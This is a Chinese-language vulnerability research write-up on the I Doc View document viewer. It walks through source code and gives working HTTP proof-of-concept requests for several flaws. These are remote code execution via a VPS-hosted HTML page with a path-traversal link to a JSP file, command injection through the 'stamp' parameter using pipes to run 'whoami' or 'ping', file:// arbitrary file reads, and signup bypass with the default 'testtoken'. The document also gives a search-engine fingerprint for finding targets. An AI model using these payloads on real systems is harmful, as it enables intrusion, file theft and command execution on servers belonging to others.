fofa指纹
title="I Doc View"
框架分析
(1)版本查看
从系统文件上看WEB-INF/classes/conf.properties
docview.version=13.3.3_2023xxxx
从网站页面上看
GET /version.json
响应如下
{"authCode":"** This software is only authorized to <杭州微宏科技有限公司>. Any use by any other entity is strictly forbidden.\nUsage: WORD2HTML [-src] <src> [-dest] <dest> [-wm|watermark 水印文本] [-hwm|hiddenwatermark] [-wmd|watermarkdense] [-protect] [-d|-debug]\n--------------------------------------------------\n- Website: www.idocv.com\n- E-mail: support@idocv.com\n- Copyright 2014 I Doc View. All Rights Reserved.\n--------------------------------------------------","version":"econage_11.8.6_20210730正式版"}
(2)目录结构
WEB-INF
|- classes
|- com
|- idocv
|- docview
|- lib
|- views
|- web.xml
查看web.xml,使用Spring框架
<servlet>
<servlet-name>appServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>appServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
跟进servlet.xml。扫描com.idocv.docview
注解下的类
<context:component-scan base-package="com.idocv.docview" />
查看Controller相关类,整理路由
DocController /doc
DrawController /draw
EditController /edit
HtmlController /html
InfoController /info
LabelController /label
MainController /
SessionController /session
ShareController
SystemController /system
TextController /text
UserController /user
ViewController /view
历史漏洞
/html/2word 远程代码执行漏洞
影响版本: <13.10.1_20231115
。找到该漏洞的代码,位于HtmlController#toWord()
。
代码RcUtil.getDataDir()先从conf.properties
文件读取配置
data.dir=/idocv/data/
data.url=/data/
根据配置创建目录/idocv/data/urlhtml/,计算url的md5作为子目录名,判断/idocv/data/urlhtml/(md5)/index.html是否存在,如果不存在就调用downloadHtml从传入的url获取文件。
downloadHtml对url发起连接,实际调用getWebPage读取html的内容,然后将html中的链接提取放入filesToGrab列表中,对链接再次执行getWebPage。跟进看一下getWebPage具体干了什么。
getWebPage下载url网页内容
getWebPage用于从指定的url下载网页内容,并将其保存到指定的目录中。
先看一下对url的处理。获取url的路径,并从url中提取文件名。如果提取的文件名为空就以default.html作为文件名。如果传入的fileName参数不为空,就使用该参数作为文件名。Ps:注意区分fileName(传入的)和filename(url截取的)。总结下来就是传入了fileName就会覆盖一切。如果没传,那就从url中截取。
后面,根据传入的filename参数,判断是否以.html、.htm、.asp、.aspx、.php、.net结尾。如果以这些后缀结尾,读取数据后将其拼接成一个字符串,转成html内容写入到outputFile文件(/idocv/data/urlhtml/(md5)/)中。否则就直接读取内容写入到outputFile。
最直接的想法是如果我们这个url读取的是个jsp文件,由于jsp文件不在这些后缀中,就可以直接写入到本地的jsp文件完成RCE。但是由于getWebPage(obj, outputDir, "index.html");传入了fileName,所以最终写入的文件名只能是index.html。
前面提到,第一次调用getWebPage读取html的内容,然后将html中的链接提取放入filesToGrab列表中,对链接再次执行getWebPage。而这个漏洞的巧妙之处,就是利用了第二次getWebPage。
searchForNewFilesToGrab链接提取
先看一下html的链接是怎么提取的。searchForNewFilesToGrab解析传入的html内容,提取并处理其中的链接、外部脚本和图像链接。并将这些链接替换为简化的文件名。包括<link>标签的href属性、<script>标签的src属性、<img>标签的src属性。
然后将这些链接放入filesToGrab这个列表中。
downloadHtml方法对index.html执行完getWebPage后,会对index.html中提取出来的url链接再次执行getWebPage。这次并没有固定fileName值。此时filename的值就是链接截取后的文件名,它是按照url最后一个/
来截取的。
POC构造
另外,这里的截取也有个很关键的点,截取文件名是按照最后一个/的位置来算,但是Windows下,可以用\
来表示路径,这样就可以在链接中用..\的形式,实现通过文件名来跨目录。
漏洞复现时,需要在VPS上放置html文件(如index.html
),其中要包含恶意的link。
<!DOCTYPE html>
<html lang="en">
<head>
<title>test</title>
</head>
<body>
<link href="/..\..\..\docview\test.jsp">
</body>
</html>
然后VPS开启http请求,再向系统发起攻击
http://ip/html/2word?url=http://vps_ip/index.html
/doc/upload 任意文件读取漏洞
访问如下
http://ip:port/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt
响应内容如下
{"ext":"txt","code":"1","size":"167","name":"rand.txt","srcUrl":"/data/test/2023/1210/10/101554_167_qTZPojt.txt","rid":"test_20231210_101554_167_qTZPojt_txt","uuid":"qTZPojt","desc":"success","md5":"daa6aad525d12f8985695b882301336f"}
然后根据srcUrl的值访问如下。即可在回显中看到win.ini
的内容
http://ip:port/test_20231210_101554_167_qTZPojt_txt
其实这个漏洞,最关键的问题是token=testtoken为什么这么赋值。漏洞定位DocController。
首先判断token是否为空。如果token不为空会根据token查找对应的应用。如果token为空,进入到else,会判断用户信息。
一个是从mongodb中查,一个是从mysql中查。
查找数据库初始文件,token的值为testtoken。
如果url不为空,调用addUrl。
跟进addUrl,方法用于从指定url下载文件并将其保存到系统中。它同时支持 HTTP、FTP、File等多种协议。
首先会对domain进行校验,查看conf.properties,配置如下。默认是都可以。
url.view.allow.domains=*
接着往下看addUrl方法,先看file协议部分。检查url是否以file://或file:///开头。如果匹配到,提取file:///后面的内容,作为文件路径,读取文件。
/doc/{uuid}/pdf 命令执行漏洞
定位DocController类的downloadPdfByUuid。
第一行getByUuid方法,通过给定的 UUID 从 MongoDB 中查询并返回一个文档对象,可以选择是否包括已删除的文档,false即为不包含。然后执行convertWord2PdfStamp方法,根据文档对象的id值,将对应的Word文档转换为 PDF并加上水印stamp。
首先检查rid格式是否有效,然后根据rid获取文件路径。如果文件不存在就抛出异常。如果文件存在且没有水印,直接生成相应的pdf文件。如果有水印,使用指定位置和水印信息进行转换。
跟进CmdUtil.runWindows,这里参数的word2Html属性如下。
converter.word2html=/idocv/converter/word2html.exe
该方法,检查传入的cmd是否为空,如果不为空,就按空白字符分割,将元素添加到arrayList中。
runWindowsCmd则是调用cmd.exe来执行命令。如果能控制最后这个cmd,那么就可能造成命令执行。
从前往后回溯一下,downloadPdfByUuid接收的uuid、stamp、x、y参数最终会传入到runWindows方法中。但是uuid要用于MongoDB,无法任意传入。x、y是float类型的,也无法任意传入。所以需要考虑构造stamp参数值。当传入的uuid可以查询到相关文档,且stamp不为空时,执行的是如下代码
CmdUtil.runWindows(word2Html, src, dest2, "-stamp", stamp.replaceAll("/", "\\\\"), "-x", String.valueOf(xPercent), "-y", String.valueOf(yPercent)).getResult();
尝试构造stamp参数`test | whoami && echo`,最终将命令拼接如下
word2pdf.exe -src xx -dest xx -stamp xx|whoami && echo -x xx -y xx
POC如下
POST /doc/BcOsoFw/pdf HTTP/1.0
Host: ip
Connection: close
Content-Length: 248
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.2611.55 Safari/537.36
Content-Type: multipart/form-data; boundary=f913360d57a6315b13dfc2f29d56bcd1b2b9cf4a37b00dcbcd870b07f74c--
Accept-Encoding: gzip
--f913360d57a6315b13dfc2f29d56bcd1b2b9cf4a37b00dcbcd870b07f74c
Content-Disposition: form-data; name="stamp"
xx|ping xx||
--f913360d57a6315b13dfc2f29d56bcd1b2b9cf4a37b00dcbcd870b07f74c--
但是这里存在一个问题,这一切的前提都是UUID传入正确,可以从mongodb中查询到文档,才能进行后续这些步骤。那么如何获取一个存在的文档UUID?
一个思路是通过upload方法上传一个文档,这样就回返回一个UUID。这里和上面的/doc/upload的token设置思路一样,只不过这里上传文件,上面的是传入url。
POC如下
POST /doc/upload?token=testtoken HTTP/1.1
Host: ip
Content-Length: 194
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys5i6gNZKAKmL4hF4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarys5i6gNZKAKmL4hF4
Content-Disposition: form-data; name="filename"; filename="test.txt"
Content-Type: text/plain
Test
------WebKitFormBoundarys5i6gNZKAKmL4hF4--
响应如下。这样就有了uuid,再去执行上一步。
{"ext":"txt","code":"1","size":"8","name":"test.txt","srcUrl":"/data/test/2024/0730/19/195705_8_UTajJgt.txt","rid":"test_20240730_195705_8_UTajJgt_txt","uuid":"UTajJgt","desc":"success","md5":"414be7c71463d6191833f211d9cf9098"}
/view/{vid}.json 任意文件读取漏洞
GET /view/a.json?url=file%3A%2F%2F%2FC%3A%2Fwindows%2Fwin.ini HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
响应如下
{"code":1,"name":"rand.txt","rid":"test_20231210_101558_167_teCMCSt_txt","uuid":"teCMCSt","md5":"daa6aad525d12f8985695b882301336f","srcUrl":null,"url":null,"size":167,"totalSize":1,"curPage":1,"totalPage":1,"pageSize":10,"titles":null,"data":[{"uuid":null,"title":null,"content":"<div id=\"1\" class=\"scroll-page\">; for 16-bit app support<br />[fonts]<br />[extensions]<br />[mci extensions]<br />[files]<br />[Mail]<br />MAPI=1<br />CMCDLLNAME32=mapi32.dll<br />CMC=1<br />MAPIX=1<br />MAPIXVER=1.0.0.1<br />OLEMessaging=1</div>","text":null,"url":null,"destFile":null,"viewCount":0,"downloadCount":0,"ctime":null}],"styleUrl":null,"versionCount":0,"ctime":"2023-12-10 10:15:58","desc":"Success"}
但是需要注意,请求中的windows.ini
不能写成Windows.ini
,否则会回显如下
{"code":0,"name":null,"rid":null,"uuid":null,"md5":null,"srcUrl":null,"url":null,"size":0,"totalSize":0,"curPage":1,"totalPage":0,"pageSize":10,"titles":null,"data":null,"styleUrl":null,"versionCount":0,"ctime":null,"desc":"不支持上传ini后缀的文件,详情请联系管理员!"}
查看相应的代码,位于ViewController。同样是调用DocServiceImpl.addUrl方法。参考上面的/doc/upload任意文件读取的分析。
/view/url 任意文件读取漏洞
类似的问题,调用DocServiceImpl.addUrl
/user/signup.json注册认证绕过漏洞
找到注册用户的位置,代码如下。同样是利用已经已经存在的testtoken。
POC如下
POST /user/signup.json HTTP/1.1
Host: ip
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
appkey=testtoken&username=ssk&password=ssk&email=ssk@google.com